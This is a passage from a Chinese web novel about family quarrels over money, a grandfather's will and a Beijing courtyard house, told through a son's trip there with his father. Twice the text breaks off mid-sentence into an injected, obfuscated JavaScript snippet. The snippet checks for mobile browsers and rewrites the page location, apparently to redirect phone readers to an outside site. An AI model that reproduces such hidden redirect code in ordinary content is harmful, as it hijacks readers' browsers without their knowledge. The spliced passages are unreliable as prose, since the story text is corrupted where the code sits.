便冷笑道:“真要是骗的就是好了,只怕他还花了钱,白白落了一个骂名。” “他是花了钱,那又怎么样?我可以把那两万五还给他。小姨,他不差钱,还要收购蔓蔓的厂子呢,何必再来骗走蔓蔓家的房子?听说拆迁款好几十万呢,他这一倒手,赚大发了!可怜我丈母娘一家,都没地方住了。”吴燕西还挺知道示弱,眼泪汪汪的看着谈九妹。 谈九妹嗤笑道:“你少来我跟前装可怜,你老婆骗了你爸将近二十万,我正愁找不到办法要回来呢!拿走她家的房子正好抵债了!你们活该!” “小姨!你怎么这样说话呢,蔓蔓也不知道宝宝借钱是去赌的呀!她只是好心,想着投资赚了钱还能给我妈请个护工尽尽孝心。”吴燕西一个劲的说好话。 至于顾蔓蔓有没有说过这种话? 当然没有,她只想拿了分红肥了自己的钱包。 连他都不知道她手里还有多少钱,怎么可能给他父母尽孝。 可是他也明白,话只能往好了说,这样才能让小姨帮忙。 结果谈九妹不买账,干脆放了狠话:“你那老婆是个什么人我还是知道的,我压根就不喜欢她,你找我就找错人了,我巴不得顾家的人全部滚蛋!” 说罢,谈九妹直接撵人。 吴燕西简直目瞪口呆,他不敢相信,自己的亲小姨,居然这么狠心。 他不理解,非要问个清楚:“为什么?” “你心里有数!”谈九妹嫌烦,直接掰开他的手,把他撵了出去。 吴燕西一屁股跌坐在地上,刚准备起来,安小蓓回来了。 她把自行车靠在院墙外停下,问了问怎么回事。 片刻后忽然哈哈大笑:“哎呦,没想到我这个表弟这么厉害!真解气啊妈!” “现世报。”谈九妹转身,领着自己闺女回家吃饭。 安小蓓把车推进来,锁上门。 等吴燕西走了,她才嘀咕道:“妈,我怀疑他真的有病。我不是骂人啊,是真的怀疑。” “怎么?” “你不是跟我说吗,他把他两个妹妹的事记成了他自己的。他要是七老八十了,老年痴呆了,还情有可原。可是他才三十三。我怀疑他可能脑子出了问题,要么是器质性的损伤,比如海马体,额叶或者颞叶出了问题,要么就是精神上的问题。你不觉得他有点过于没脸没皮了吗?正常人都有羞耻心的吧,他有吗。”安小蓓没见过这样的人。 谈九妹想想,她倒是见过类似的人。 不过小蓓说的不错,普遍都是年纪大的,不是年轻人。 她问了问:“如果是器质性的损伤,能治好吗?” “不好说,要看严不严重了。万一……” “万一什么?” “我们院前几天来了个得脑癌的,晚期,也会出现类似的症状。我虽然不喜欢大表哥,还是希望他没这么倒霉吧。”安小蓓说完,不管了,吃饭去。 毕竟也不是她的亲哥哥,人品又这么差劲,懒得提醒他。 * 吴旭东来到了十九楼大平层。 站在门外,迟迟没有敲门。 心里多少有点沉重,不知道该怎么面对老丈人和丈母娘。 不巧,周子琛要开学了,正在收拾行李,一推门就看到了他,赶紧喊了一嗓子:“爸,妈,我姐夫来啦!” 吴旭东:…… 周子琛笑着把他往里拽:“姐夫,你跟我姐都结婚了,怎么还这么容易害羞啊,脸都红啦!” 吴旭东无语,他哪儿脸红了,不过是被小舅子忽然开门吓了一跳。 赶紧叫了声爸妈。 周中擎跟老安刚接了安一方的电话,知道他要来,笑着招呼他坐。 “老安啊,你去送子琛吧,我跟小东聊聊。”周中擎把车钥匙交给了老安。 老安领着周子琛走后,大门一关,翁婿俩大眼瞪小眼。 过了好一会儿,吴旭东才说道:“爸,我今天才知道,你跟我妈——” “都怪你大舅多事,你大舅妈也是的,也不打电话问问我们,这不是给你增添负担吗。”周中擎其实不想让他知道这事。 毕竟是他们长辈之间的事,用不着小辈来感激什么。 可惜啊,大舅哥让谈九妹说了实话。 现在弄得,好像女婿欠了他们什么似的,反倒是不自在。 吴旭东确实有点,他很感动,但也很难受,有种自己一辈子也偿还不上的压抑感。 周中擎赶紧宽慰道:“你这孩子,千万不要多想,我跟你爸本来就是战友,同生共死的,关系非比寻常。我要是出事,他肯定也会保我的!这是我们大人的事,跟你们没关系。只要你跟子琰好好过,这比什么都强。” “爸……”吴旭东没忍住,跑过去抱了抱这个慈爱的长辈。 宽厚的肩膀,宛如高山大川,给人满满的安全感。 是他从来没有过的慈父。 现在沾了周子琰的光,他也可以叫一声爸爸了。 周中擎搓了搓他的头发:“哭啦?哭吧,爸知道你过得不容易。你放心,以后这里就是你的家,一家人不说两家话。” “好。”吴旭东到底是不好意思再哭了,只是红了眼眶,强行把眼泪逼退了回去。 他跑到周中擎旁边坐下,拿起茶几上的柑橘,借花献佛。 周中擎笑着收下了:“你也吃,你妈上午刚买的,很甜。” “爸,你能具体跟我说说当年的事吗?” “真想知道?” “嗯,这样心里踏实一点。” “行,跟你说说。” 这一聊就是一个多小时。 老安送了周子琛回来,这翁婿两个正在把酒言欢呢。 她笑着去厨房做饭,吃饭的时候,吴旭东提了提要去北京的事:“我想祭拜一下爷爷奶奶。顺便看看我爸抵押的古董能不能赎回来。” “呦,那叫你爸陪你去吧。你人生地不熟的,被人骗了都不知道。”周中擎赶紧起身,给吴国正去了个电话。 吴国正赶紧丢下碗筷,领着老妻赶来了过来。 “东东,你怎么知道古董的事啦?”傻老帽永远慢人一拍。 吴旭东盯着他不说话,只把小姨给的照片递了过去。 吴国正恍然:“你小姨都说啦。” “嗯。”吴旭东想去,不想被他阻拦,提醒道,“你走不开没关系,我自己去。” “我陪你去吧,你爷爷的遗嘱也该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666029|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出来了。”吴国正思来想去,该面对的总是要面对的,便拜托道,“老周,老安,三娘就拜托你们照看几天了,我陪东东把这事解决了再回来。尽量中秋之前赶到。” “什么遗嘱啊?”周中擎也是一头雾水,没听说过。 老安倒是有所耳闻:“好像是小东的爷爷奶奶,临终前把四合院指定了继承人。” “哦,那确实应该去看看。老吴啊,你尽管去吧,嫂子交给我们了。”周中擎明白了。 吴家祖上阔过。 吴国正的爷爷是早期的一批实业家。 后来闹革命,吴孟甫捐了不少家产,所以建国后,四合院保留了下来,还是他们家的。 算是对有功之人的一点点福利。 只不过,那个特殊时期立的遗嘱算不算数,这就不好说了。 总之,吴家的事他不掺和,只管帮忙照顾亲家母就行了。 从大平层出来。 吴旭东的心情还没有平复。 他盯着吴国正,带着一丝怨念。 吴国正讪讪的:“这次给你留房间了,真的。” “我不要你的房间,我就想问你,我老丈人丈母娘帮了你和我妈那么大的忙,你这些年,有没有报答报答人家?”吴旭东还惦记着恩情的事呢。 吴国正无奈:“要我怎么报答呢?说句实话,无以为报。我也不如他们有钱,不如他们有闲,更不如他们混得开。我只能逢年过节多送点礼物过来,聊胜于无吧。” “你可真好意思。”吴旭东嘀嘀咕咕,怎么能这样呢? 就逢年过节送点礼物?平时多走动走动也是好的。 吴国正郁闷了:“那不然呢?我也只有这么大的能力。” “我不管,你要好好报答人家。” “还要我怎么报答,我儿子都不回家了,一门心思做他家女婿,这还不够?” “怪不得我哥厚脸皮,跟你学的!” “东东啊,你怎么能这样说爸爸呢?爸爸只是开个玩笑。” “一点也不好笑。” “那你到底要我怎么样嘛!” “不知道,你努努力,下辈子还吧。” “看看,你也没办法不是。” “遗嘱是什么?” “你爷爷找人算了,说是四合院只有给你才能传下去,遗嘱就写了,给你。” “要是我找不回来呢?” “那我也不知道。” “你能知道点什么?” “嘿,小兔崽子,你今天吃炸药了,一个劲的埋汰你老子。” “……”吴旭东翻了个白眼,进电梯去了。 进去了还在埋怨:“这么大的事,我不提你就不说?” “你不提我真忘了。” “你真的是我老子吗?我很怀疑啊!” “……怎么说话呢?” “瞧你那老傻帽的样子。” “嘿,兔崽子,翅膀硬了是吧!” “本来就是,没见过你这样的。” “……”吴国正无话可说,他是真的忘了,再说,遗嘱也不在他手里。 总之,去了才知道什么结果。 父子俩不想耽误时间,干脆买了机票,直接飞过去。 临走的时候,吴旭东把楚劲雄领着,去周家认认门路。 “爸,妈,拆迁的事他不太懂,劳烦你们多教导教导他。我去去就回,一定赶回来陪你们过中秋。” 30. 贪婪 飞机上,父子俩相对无言。 吴旭东有点儿嫌弃这个亲爸,认真的。 他不明白,一个做爸爸的人,怎么可以这么糊涂呢? 他倒不是非得要那个四合院,他只是觉得好笑。 这么大的事,他爸说忘了。 难怪他爸会稀里糊涂的,给有问题的人做担保,从高处坠落到泥潭。 真的,性格决定命运。 善良过头就是迂腐,就是蠢。 老丈人真是抬举他爸爸了,当时在东莱镇,在大巴上为了让他宽心,老丈人还例举了一堆混得好的叔叔伯伯。 现在他非常肯定,就算他妈妈没出事,他爸爸也不会再高升到哪儿去的。 没这造化。 认命吧,做儿子的不能选择爸妈。 看,等会儿要下飞机了,那边什么情况他还不了解。 他不问,他老子就不说。 真气人。 只得叹了口气,问道:“说说呀,那边都有哪些亲戚?” 吴国正听得出儿子嫌弃的口吻。 其实不是他不想说,而是他这十几年混得太差,没脸跟老家的人联系。 时间久了,就疏远了。 怎么说呢。 这些年闷在家里照顾老妻,天天也没有什么人跟他交流,偶尔厚着脸皮去老周开的那个休闲中心逛逛,是他唯一的娱乐。 每天重复同样的事情,围着呆笨痴傻的老妻转悠,他好像被老妻传染了,他的脑子也锈掉了。 以至于他愣了一会儿,才开口道:“那边还有个二叔公,跟你爷爷同父异母,叫吴仲和,家里孩子不少。你亲大姑吴国秀也在,离婚了,一个人拉扯大了几个孩子,怪不容易的。” “大姑?婚礼我没见到她。” “她跟我不说话。” “为什么?” “她恨你小姑,嫌弃我跟你小姑还有联系,恨屋及屋吧。” “……是因为爷爷奶奶去世的事?” “啊……你小姨都说了吧?是啊,为了那些个古董,哎,钱财都是身外之物。” “那你问问航空公司,你要是没钱让不让你坐飞机。” “这不是胡搅蛮缠吗?航空公司的人又不是自家骨肉。” “那你的意思,一家人就可以稀里糊涂了?” “……我只是不想计较。” “难怪我哥哥嫂子敢跟你甩脸子,你这也太糊涂了。” “那你说怎么办?一家子骨肉动刀动枪?” “不至于,起码亲兄弟明算账。” “算不清的孩子,尤其是兄弟姐妹多的家庭。谁多吃了几口肉,谁多拿了块布,谁把车胎扎了,谁又把锅烧糊了……算得过来吗?不都是睁只眼闭只眼,不聋不哑不做家翁。” “我得离你远点儿。” “干嘛?” “别被你的傻气传染了。” “兔崽子,怎么说话呢!” “不聋不哑不做家翁,怎么,现在又不肯糊涂了,连我说话都要管?” “你……嘴皮子这么利索,跟谁学的?” “反正不是你。” “我生你我还有错了是吧?” “我是你生的吗?我是我妈生的。” “行行行,你就抬杠吧,说不过你。” “还有谁?” “没了啊。你叔国祥在东北,婚礼上不是见过了?” “就那个瘦瘦矮矮的小老头?” “也不老吧,还没我大呢。” “五十多了还不老?” “行行行,你说了算。” “遗嘱在谁手里?” “你二叔公手里。” “给他做什么?” “他是长辈啊,你爷爷一走,家里不就剩他最大了吗?别怕,一式五份,他手里的要是毁了,还有别的人有。” “我觉得够呛。” “这话怎么说?” “我两个亲姑为了点古董都闹翻了,二叔公一家就不眼馋四合院?” “也没人住啊,你小姨前阵子刚路过,特地进去看了眼呢。” “没人住才说明问题大了。” “怎么说?” “谁都想住呗,争执不下,所以谁都不住。指不定户主已经改成他自己了。” “……那怎么办?” “你问我?你干什么去了?十几年了,你都不关心一下?” “给你的呀,你又没回来,我怎么要?我一开口别人就问,国正啊,找到东东了吗?我这不是给自己添堵吗?” “怪不得婚礼上没看到二叔公家的人,肯定是不希望我回来。那遗嘱搞不好是这样写的,我能回来就给我,我要是回不来就给二叔公一家了。” “胡说,要是给他们了,他们不住?” “子女多,谁都想住呗。干脆谁都住不成。” “……真不是,你要是不回来,那就给我了,谁家房子不给儿孙给兄弟的,又不是一个妈生的。” “二叔公的妈妈是谁?” “青楼名妓。” “……遗嘱一共五份?” “五份。” “还有谁有?” “朝阳门那儿,你爷爷的朋友,还有一个管户籍的警察朋友。” “还有呢?” “我的没了。” “没了?” “在乡下的时候被人给烧了。” “……最后一份在哪儿?” “不知道。你爷爷没说,只说是交给了一个信得过的人,以防万一。” “爷爷的那两个朋友还在世吗?” “都在。” “你有没有逢年过节跟人家写写信打打电话,寄点土特产什么的?” “刚开始几年都寄了,回回都被退回来,我就不寄了。再说了,我照顾你妈还忙不过来呢。要不是你老丈人带着我发了点财……哎,惭愧啊。” “你是该惭愧,该维护的关系扔到一边,倒是把你那个大儿媳妇的胃口喂得越来越大。她救你命了吗你这么惯着她?” “她救你妈了!那年我去医院看病,托她照顾两个小时,回来差点出事。幸亏她把你妈救下来了。你这孩子,真当爸爸是什么是非不分的人吗?” “怎么回事,说我听听。” 吴国正大概讲了讲。 无非是家里电路老化,失火了。 顾蔓蔓把婆婆救出了火场。 吴旭东却不信顾蔓蔓有这样的好心。 问道:“这都是她自己说的吧?” “这还能有假?”吴国正生气了,这孩子怎么回事,这种事他能开玩笑? 吴旭东冷笑道:“你小心她自导自演,故意跟你演苦情戏,好跟你摆功劳。” “……” “你们之前不住那套大房子吧?” “不住,两室的小户型。” “走火之后就换了?” “换了。” “你看,这不是。” “你这是胡搅蛮缠,房子烧了不得换吗?” “那她之后有没有问你要钱?” “……” “不说话就是要了。” “……”吴国正移开了视线,总觉得这儿子像是在审犯人,不自在。 吴旭东懂了:“果然是要了。你上当了吴国正同志!” “别嚷嚷,也许是巧合。” “巧合?”吴旭东不想说话了,他这老子当年出事真的不冤。 太天真了。 以为这世上都是大好人呢。 气得他够呛。 干脆递了张纸。 “二叔公家都有谁,写下来。对了,小姨给的照片上还有一个没来我婚礼的。高高瘦瘦的那个,是谁?” “你大伯,死了。” “叫什么?” “吴国强。” “因为什么死的?” “饥荒。” 这次换吴旭东沉默了。 “他走的时候我出生了吗?” “没有。” “有孩子吗?” “没有。” 真惨,来这世上一遭,最后只留下了一张照片。 也许还有别的照片。 但也仅限于此了。 吴旭东忽然有些难受。 小时候,他也无数次差点死了。 如果他没有坚持下来,那么现在,又有谁会为他难过呢? 周子琰。 老丈人丈母娘。 爸妈。 没了。 两个姐姐也许会哭一场,哭完也就那样。 毕竟她们没有找过他,感情不会深到哪儿去的。 其实他挺知足了,姐姐们别像大哥大嫂那么恶心人就行。 至于大哥,那就别指望了,他死了大哥不放鞭炮就不错了。 他怎么会有这样的一个大哥? 理解不了。 两人长得还有五六分相似,应该不是抱错了什么的。 是因为成长的环境不同吗? 他问:“大哥是家里的长孙吗?” “是啊。你叔的儿子比你大哥小好几岁呢。” “大哥小时候谁带的?” “你姑奶。我跟你妈工作忙,你爷爷奶奶也是大忙人,你姑奶正好守寡在家,就帮忙带一带。” “我还有姑奶?” “废话,你爷爷也有兄弟姐妹嘛。” “她专门带我大哥?” “当然不是。那几年家里的孩子都是她带的,你二叔公家的也让她带。” “孩子不会弄错吧?” “应该不会,岁数又不一样。” 是吗? 可是吴旭东还是理解不了,他怎么会有这样的哥哥啊? 两个姐姐看着还行啊,不像是养歪的样子,也不像大哥一样一个劲的吸血。 难道是姑奶奶的教育方式不行? 还是说有别的什么原因。 会不会大哥不是他亲大哥啊? 真的理解不了,同一个爹妈生的,做人的差距怎么这么大呢? 他又问:“我姑奶人呢?” “早死了。” 死无对证了。 算了,随便吧。 人生在世,总有一些谜题解决不了的。 就像他到现在都不明白,为什么人贩子盯上他了。 因为他倒霉? 不,今天之前,他确实是这么想的。 可是现在,他知道有一份遗嘱,指定他可以继承一份产业。 他的被拐,自然变得可疑了起来。 他问吴国正:“遗嘱什么时候立的?” “你爷爷奶奶去世之前啊。” 那又不对了,遗嘱是他被拐之后立的。 除非在这之前,爷爷奶奶已经有了类似的想法,被人知道了。 他又问:“我小时候,爷爷奶奶疼我吗?” “疼啊,你们兄弟姐妹四个,一样的疼,每个人出生都有一个大金项圈,后来情况特殊,怕引人耳目,收起来了。” “收哪儿了?” “不知道,你爷爷奶奶收的。谁整天盯着长辈的那点东西。” “你不盯,别人盯。” “那我不否认,你小姑就盯了嘛。” “我被拐的那年,或者前后几年,你有没有跟二叔公家的什么人来往密切?” “我跟你堂叔吴家栋一直有来往啊。怎么了?” “那他怎么没来我婚礼?” “生病了,他给我打电话了。礼金一分没少,不都给你了吗?” “这么巧。”吴旭东敛眉沉思。 真巧还是假巧,去了就知道了。 也不知道打拐小组有没有什么进展,找没找到那个嘴上有黑痣的男人。 他真想问问那个畜牲,为什么要拐他! * 半夜,飞机落地。 吴旭东拖着行李箱,大步流星走在前头。 走远了忽然意识到身后没了动静,回头一看,他这个善良过头的老子,正在帮别人指路。 自己都被儿子甩在后面一大截了,却浑然不觉。 他要是没有停下来等,父子俩等会指定走散。 吴旭东有些来气。 可是当他看到那个陌生的旅客笑着跟他爸爸道谢时,他又气不起来了。 他大概传染了周子琰的心软病。 没救了。 有什么办法呢,这世上就是有这种人啊,与人为善,助人为乐,没有害人之心,反被毒蛇咬一口。 寓言故事都是取材于现实。 扭头走回去,他把吴国正肩上的包摘下,自己挎上,认命地往前走。 “你快点儿,我困了。”说的是催促的话,可是没有半分的不耐烦。 怎么办呢,自己的老子,还能换了怎么着? 起码十几年了没有抛弃他妈妈,就冲这一点,足够了。 凑合着过吧。 吴国正赶紧跟上。 到了站前广场,又差点走散了。 这老小子跑去买地图也不说跟他一声。 吴旭东哐哐拖着行李箱往前走,走着走着身后又没动静了。 他真是服了。 扭头往回走了一段儿,果然看到一个傻老帽在给别人指路。 看到他来,赶紧把地图给他:“东东,拿着,给你的。这个大爷走错门了,我送他去检票口。你别动啊,在这儿等我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673029|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,他等。 吴旭东学过一篇课文。 朱自清的背影。 他现在也在目送一道背影远去。 年迈,但却并不佝偻。 当兵的经历让这个小老头把后背挺得笔直。 扶着老大爷的时候,满脸都是热情的笑。 背对着他走出去很远,都没有回头。 看,这就是他的爸爸。 永远怀有一颗赤子之心。 待人以热忱。 以真心,以善意。 错的是他爸爸吗? 不,错的是辜负真心的人。 他原谅他爸爸了。 父与子,在这偌大的站前广场上,无声的和解了。 他耐心等待小老头回来。 一把勾住老头的肩膀:“我耐心有限,不准你再半路失踪了。” 吴国正张了张嘴,到底是理亏,没有反驳。 父子俩打了个出租车,去了四合院附近的一个酒店住下。 夜深了,吴旭东辗转难眠。 琰琰,想你了。 他打开带来的婚礼相册,一页一页翻过,寻找可以安睡的良药。 他老婆真美啊,雪白的军装,小麦色的肤色,泛着活力无限的阳光气息。 闭上眼,满脑子都她。 她体力充沛,帮他填满无处不在的空虚,帮他释放汹涌澎湃的压力。 她总是那么好,任由他索取。 即便他贪得无厌,她也愿意满足。 真好。 好希望天天在一起。 不过现在只能抱着相册入眠。 睡着后做了个梦。 梦见一个孩子正站在月台上,看着他的背影,背诵着朱自清的那篇文章。 这孩子是谁? 不知道。 也许是他的孩子。 他跟周子琰的孩子。 他得赶紧把烟戒了。 不过琰琰还得治病,他还有缓冲期。 至于琰琰的病能不能好,这个他无所谓。 生不了就不生,大不了领养一个。 当然,还是亲生的最好。 他错过了周子琰的童年,他想有个女儿,跟周子琰一起,把孩子养一遍。 既是见证,也是弥补。 弥补他错过的,属于她的金色年华。 也许还有他的。 不,没有。 他有这么一个爸爸,注定不会有一帆风顺的童年。 他是个勇于接受现实的人。 夜深了。 好好睡一觉吧,明天还不知道要跟哪些牛鬼蛇神斗智斗勇。 要问他想要这个四合院吗? 来之前还没什么感觉。 可是现在,他想要。 要问原因,倒也没什么不好意思说的。 他想把它送给他跟周子琰的孩子。 等孩子大了,可以跟孩子讲讲这个院子里的人,和那些逝去的故事。 也许这就是传承。 至于他的哥哥姐姐,反正他们对他也没什么特别的,他也就懒得考虑他们了。 人跟人,都是相互的。 谁对他好,他就对谁好。 就这么简单。 * 京郊大杂院。 吴仲和把儿女全都召集来了。 开个家庭会议,商量一下四合院的归属问题。 七十多岁的人了,看着还挺精神,拄着一根拐杖,看看这满堂儿孙,不禁感慨。 “你们大伯家的那个小孙子找回来了,还做了周中擎的女婿。这房子再不住进去,只怕他们一家就要来抢了。你们哪,就别再争了,赶紧做个决定,不管谁家,先住进去吧。” “都住进去,你也住,看他能怎么办!” “就是爸,不能便宜了别人啊,你可是我大伯的亲兄弟。这四合院是老太爷的祖产,凭什么你不能拿。” “凭你是外面妓女生的来路不明的野种!”吴国秀来了。 老太太六十出头,眉目深邃,齐耳短发,精明干练,一看就很不好惹。 她冷笑着看向这群人:“你们想住进去,当我是死了吗?” “大姐,你怎么跟我爸说话呢!他可是你叔!” “叔?不好意思,我爸的亲弟弟早就夭折了,只有一个妹妹活到了六十寿终正寝。这宅子是我爷爷留给我爸的,我爸爱给谁就给谁,有你们什么事儿?”吴国秀不是好惹的,拿出一张照片,在手里甩了甩,“看好了,这是我爸当年留下来的遗嘱,我已经把它拍成了照片,委托报社明天刊登声明。这房子,只能是我小侄子的。你们谁也别想沾边!” “国秀,你疯啦!你忘了你哥跟国美怎么对你的了?” “那是我们姐弟的事,用不着你们操心!” “国秀姐,你不会是想拍安家的马屁吧!这吴旭东是做了安家的女婿,可是他也没有请你去喝喜酒啊。你这样上赶着,人家理你吗?” “放屁,谁说我侄子没请我了。是姑奶奶自己忙不过来没去成,少在这里挑拨离间!” “国秀姐,你登报也没用,户主已经是我爸了,你能怎么着吧。” “是吗?真以为我不知道你们玩的把戏?小心我连你们贿赂的办事员一起给举报了!” “你有证据吗?” “有没有我能告诉你?你算个什么东西!” “国秀姐,别争了,反正你是嫁出去的女儿泼出去的水,争来争去也不是你的。” “那也不能便宜了外头女人养的野种。” “国秀姐,你再这么说,小心被雷劈。大伯都认我爸这个弟弟,你不认,你算个什么东西。” “我爸是心地善良,看不穿你们一家的把戏。我可没有那么好糊弄。我丑话说在前头,打官司,我有的是时间,不怕陪你们耗下去!” “国秀姐,你一个离婚的女人,还是别来搀和我们男人家的事了。就算吴旭东想要这房子,也该是他自己出面,轮得到你吗?” “少废话,姑奶奶今天把话撂这儿了,你们谁敢搬进去,谁就等着我去你们单位闹!我就不信了,你们这么没脸没皮,连工作都不要了!” “国秀姐,你别太过分了!” “你们难道是第一天知道姑奶奶过分?姑奶奶反正退休了,有的是时间。走着瞧!” 放完狠话,吴国秀扬长而去。 大杂院里愣是没有一个敢追上去理论的。 偌大的院子里,只有叹息。 思来想去,子女们索性撺掇吴仲和住进去。 “爸,你可是长辈,国秀姐再能闹,你也能压她一头。” 吴仲和一想也对,当天夜里便收拾收拾,开了锁,住进去了。 31. 壕姑(二更) 吴国秀回到家里,给吴国美去了个电话。 吴国美丧夫丧子,女儿下落不明,无牵无挂的,到处漂泊。 前几年谈了个男朋友,跟着男人去了上海定居。 男方是个鳏夫,有子女,不允许他们领证结婚。 所以两人只是同居,并没有合法的夫妻关系。 后来男人死了,她就被男人的子女赶出来了。 好在男人对她是真的不错,瞒着子女留了个小弄堂里的房子给她。 还给她安排了工作。 所以她参加完婚礼就回去了。 没想到十几年不说话的大姐居然有她联系方式。 她还挺意外的:“姐,有生之年你还能理我啊?你这唱的是哪出啊?” 吴国秀懒得废话,直奔主题:“四合院被二叔家占了。” “我操他大爷的!”吴国美张嘴就是一句国骂。 吴国秀翻白眼:“赶紧抽空回来。” “你想帮咱侄子把房子抢过来啊?” “不然呢?爸妈在世对你我不薄,嫁妆给了那么多。” 吴国美没有反驳。 这是实话,他们的爸妈从来不偏心。 除了早死的国强哥哥,其他几个孩子,都分到了家里的好东西。 就比如她,拿的就是金项圈和古董之类的东西。 看着不起眼,其实挺值钱的。 国美姐姐和国祥哥哥比较懒,不想费劲,直接拿了国外一家公司的股份。 不过特殊时期,都是国外的亲戚在帮忙打理,钱也汇不进来,等到改开之后,他们直接坐在家里收钱,简直不要太爽。 国正哥就比较奇葩了。 因为当兵,投身革命,所以要做无产阶级的战士,什么也不要。 全都便宜他们几个了。 不过还好国正哥哥什么也没要,要不然当初就别想回城了。 也不知道爸妈有没有额外留点什么给他。 至于四合院,那是父母自己住着的,想给谁就给谁,他们其实没有资格过问。 毕竟已经给了他们不少了。 真的,老人家没有偏心一说。 更不像别人家,不把女儿当人。 是她自己犯蠢,非要在特殊时期卖古董救人,把爸妈给气死了。 所以大姐跟她十几年没说话了。 吴国美这些年受尽冷眼,多少有点后悔。 现在大姐主动跟她说话了,还是为了父母最后的那点产业。 她也不好推辞,应道:“你不能让我白去吧?” “给你钱,明天就给我飞回来,机票酒店我包了。” “这还差不多。” * 早晨醒来,吴国正还有点懵。 下意识去找尿桶给老妻端屎把尿,走到卫生间才意识到这不是在家里。 不免有些惆怅。 十几年了,这些行为已经成了肢体的记忆,忽然分开两地,还真有点不习惯。 他赶紧洗漱,准备去楼下给小儿子买点早饭。 推开客房门,才发现吴旭东已经起来了。 手里提着小笼包和豆浆,二话不说往他怀里塞。 吴国正忽然有点手足无措。 照顾了老妻十几年,忽然有人照顾他,他还挺不适应的。 下意识就想把早饭推给吴旭东。 吴旭东已经想通了。 别的不说,就冲他老子十几年如一日的照顾他那个痴傻的妈,这就不是一般人能做到的。 如果他爸爸不是善良过头,正直过头,早就抛弃糟糠了。 又不是没钱,没这条件。 可是爸爸没有这么做。 一切亲力亲为,打着灯笼难找。 所以,他原谅爸爸了。 发自内心的。 他把早饭又塞了回去:“我吃过了,你快吃,我等你。” “哦,好。”吴国正鼻子一酸,小儿子心里还是有他的嘛。 赶紧吃了,擦擦嘴,一起去四合院看看。 父子俩就这么并肩在路上走着。 首都的清晨,车水马龙。 开得起轿车的没几个,大多数还是骑着自行车,或者干脆步行。 所以老丈人家的经济条件,越发显得鹤立鸡群。 他好奇问了一嘴:“我老丈人做什么的?” “你丈母娘在香港有朋友,前几年带他们炒股,赚了一波大的,后面就在内地办起了厂子。” “炒股很赚钱吗?” “赚啊,不过也有亏得跳楼的。” “那跟赌博没什么区别。” “那倒也没错。不过你丈母娘那个朋友厉害,带她做的没有亏的。” “那还真是非同一般的关系了。” “那肯定的,你丈母娘人缘好。” “现在他们家都有什么厂子?” “地毯厂,羊绒厂,包装厂,建材厂,挺多的,具体我也没问。” “我知道,你忙着照顾我妈。” “是啊,这次这个护工也不知道能坚持多久,天天端屎把尿,一般人没有这个耐心啊。” “不害臊,王婆卖瓜。” “我有吗?” “你这不是?” “……” “下次我来夸,我爸真厉害,不是一般人。” “哈哈哈,你小子。” “说真的,你有没有想过抛弃我妈?” “天地良心,绝对没有。” “没看出来,你还是个情圣。” “……混账羔子,难不成你想要我抛弃你妈?” “没有,我向你学习。自己选的女人,一辈子不离不弃。” 吴国正老脸一红,不说话了。 哎呀,十几年啦,回头看看这一路过来,确实不敢想。 好在小儿子回来了,再也不用愧对老妻了。 走到路口,吴旭东停下等绿灯。 “这边有什么朋友吗?” “有是有的,不过十几年不联系了。” “也对,你混得那么差,自己也不好意思吧。”吴旭东不问了。 人都是很现实很功利的。 楚劲雄自作主张给他请同学喝喜酒,不也是利用了这份功利心。 一向被看扁的穷小子,居然飞上枝头变凤凰了。 打脸来得太快,非同寻常的解气。 他自己也是个俗人,看到那些同学对他恭恭敬敬的,多少会有点得意。 所以,他爸跟朋友断了联系,其实是再正常不过的事情。 算了,本来也没打算靠他老子的力量做什么。 他自己有脑子。 两人来到四合院门外的路上,还没到呢,就听到一个女人在骂人。 那大嗓门儿,跟拿了扩音器似的。 吴旭东蹙眉,拽着他爸的衣袖围了过去。 但见一个四合院门口,里里外外围着好些看戏的邻居。 一个齐耳短发的凶悍老妇,正隔着紧锁的大门叫骂。 中气十足,面色红润。 战斗力爆棚。 吴旭东一看那人的长相就认出来了:“我大姑?” “是她,真被你猜中了啊,你二叔公怕是住进去了。”吴国正很意外,怎么会这样呢。 做长辈的跟小辈抢东西,真不害臊。 不过这事吴旭东一点也不意外,他在王家沟,什么丑恶的嘴脸都见识过。 人性是经不住考验的。 他拉着吴国正挤了进去。 那吴国秀原本骂得正起劲,骂着骂着,忽然发现一个英俊的帅小伙跑过来眼巴巴地盯着自己。 她便骂不出来了。 仔细打量一番,再看看帅小伙旁边的老头。 吴国秀冷哼一声,扭头便走。 吴国正赶紧追:“姐啊,还生气呢。你说说你,自家骨肉,哪有隔夜仇呢,不生气了行不行?” “滚,我没有你这样的兄弟!”吴国秀这一口气憋了多少年了。 吴国正厚着脸皮继续追,扯着袖子不撒手:“姐啊,东东找到啦,我带他过来见你呢,你再怎么气我,也不能不让东东认你这个亲大姑吧?” “谁稀罕你的儿子叫姑。”话是这么说,吴国秀还是转身,盯着后面的吴旭东。 他也跟上来了。 嘴角噙着一抹笑。 认真的,这姐弟两个还挺滑稽的。 一个嘴上叫人滚,却又不曾抽回自己的袖子。 一个不断赔不是,死乞白赖的跟着。 真好玩儿。 他几步追上来,见他老子实在是嘴笨不会说话,干脆喊了一声:“大姑,我结婚你都不来,看来是不想认我这个侄子了。” 一句话就把吴国秀给拿捏住了。 愣在那里,又急又气,想骂人,又不忍心。 